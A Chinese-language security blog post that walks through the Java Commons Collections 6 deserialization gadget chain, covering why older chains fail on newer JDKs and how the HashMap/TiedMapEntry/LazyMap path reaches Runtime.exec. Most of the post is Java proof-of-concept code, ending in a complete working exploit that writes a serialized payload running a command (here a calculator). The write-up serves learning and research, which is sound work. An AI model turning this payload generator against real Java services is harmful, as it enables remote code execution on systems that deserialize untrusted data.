前言

这里我们切换一个高版本的jdk发现运行失败
1.png

在JDK-8u71版本之后,cc-1的关键漏洞点AnnotationInvocationHandler.java的readObject方法做出了以下修改

2.png
这里可以看到直接删除了setValue()。

cc-2的关键漏洞点AnnotationInvocationHandler.java的readObject方法做出了以下修改
3.png
不再通过defaultReadObject方式,而是通过readFields 来获取几个特定的属性,defaultReadObject 可以恢复对象本身的类属性,比如this.memberValues 就能恢复成我们原本设置的恶意类,但通过readFields方式,this.memberValues 就为null,所以后续执行get()就必然没发触发,这也就是高版本不能使用的原因。
这里具体的各位师傅去找找吧 我也是复制的 知道大概为什么就行了,对我来说没必要太深入底层

Commons-Collections 6介绍

这条链不受jdk版本限制也不受cc版本限制
先看一下完整的调用链

/*
    Gadget chain:
        java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

    by @matthias_kaiser
*/

这里可以看到后半条链和原版cc1是没有区别的,其实看了这么两条可以发现cc链是一个系列,所以变的地方不多,后半条链的分析可以看以前的文章。

CommonsCollections 6

老规矩要从攻击者视角学习链就只能参考,当然这里还是不能太死板
接下来我们就找哪里调用了get(太多惹,直接看poc吧)
4.png

这里可以看到TiedMapEntry的getValue方法调用了map.get,这里map可控。

写一个 EXP,确保这条链子是能用的

public class CC6Test {
    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();

        Map<Object, Object> transformedmap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(transformedmap, "key");
        tiedMapEntry.getValue();
    }
}

因为 TiedMapEntry 是作用域是 public,所以我们不需要反射获取它的方法,可以直接调用并修改。

5.png
成功执行!

接下来我们就看看哪里调用了getValue方法
● 寻找的方法也略提一嘴,因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。
这段话是在大佬blog复制的,因为我没实际理解就不说了

根据poc找吧
6.png
巧~后门!!!
如果我们在实战里面,某条链中找到了 hashCode() 方法,就基本已经可以“开香槟”了~

我们去找谁调用了 hashCode() 方法,这里没说的前面文章已经说过了urldns链是不受版本限制的也有一个hashcode(这里也是cc6不受版本限制的原因),所以找到 hashCode() 之后的链子用的基本都是这一条。

xxx.readObject()
    HashMap.put() --自动调用-->   HashMap.hash()
        后续利用链.hashCode()

更巧的是,这里的 HashMap 类本身就是一个非常完美的入口类。后门!!

poc

public class CC6Test {
    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();

        Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
        //tiedMapEntry.getValue();
        HashMap<Object, Object> expmap = new HashMap<>();
        expmap.put(tiedMapEntry,"value");


        serialize(expmap);
        //unserialize("cc6.bin");
    }

    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }
}

但是!我在打断点调试的时候发现当我序列化的时候就弹出了计算器

其实这里就跟URLDNS 中是一样的。不同点是有些链可以通过设置参数修改,在我们 CC6 链当中,通过修改这句代码 Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);,就可以让我们put进去的时候触发不了这条链,从而达到我们需要的效果。

我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer。相关的属性值在 LazyMap 当中为 factory

Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("Itachi"));
...
//这里就是在序列化之前反射修改LazyMap的factory
Class<LazyMap> lazyMapClass = LazyMap.class;  
Field factoryField = lazyMapClass.getDeclaredField("factory");  
factoryField.setAccessible(true);  
factoryField.set(lazyMapClass, chainedTransformer);
public class CC6Test {
    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("Itachi"));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

        HashMap<Object, Object> expmap = new HashMap<>();
        expmap.put(tiedMapEntry,"value");

        //在执行 put 方法之后通过反射修改 Transformer 的 factory 值
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        serialize(expmap);
        unserialize("cc6.bin");
    }

    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }
}

但是我们会发现不管是序列化/反序列化都不会执行了。
为什么呢?我们看一下关键点,就不细说了

7.png
其实还是上面的问题,put时会调用链子,从而进入LazyMap.get(),此时没弹计算器是因为我们传入了人畜无害的Itachi,同时此时会往LazyMap的map中写入键值对("xxx",1),从而使在反序列化时,LazyMap的map属性中有了"xxx"这个键名,就不会进入到if条件,反序列化时也就进入不到transformers数组执行命令了。

所以我们需要在put之后再删掉LazyMap的key

这个勾八key为什么是那个位置卡了很久最后发现是TiedMapEntry构造的时候传进去那个,看视频和文章产生了歧义,这里应该是判断lazyMap的map里有没有这个我们传的key
8.png

最终POC

public class CC6Test {
    public static void main(String[] args) throws IOException, Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer("Itachi"));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");

        HashMap<Object, Object> expmap = new HashMap<>();
        expmap.put(tiedMapEntry,"value");
        lazyMap.remove("key");


        //在执行 put 方法之后通过反射修改 Transformer 的 factory 值
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);

        serialize(expmap);
        unserialize("cc6.bin");
    }

    private static void serialize(Object obj) throws IOException {
        ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("cc6.bin"));
        oss.writeObject(obj);
        System.out.println(new java.util.Date());
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        System.out.println(new java.util.Date());
        return obj;
    }


}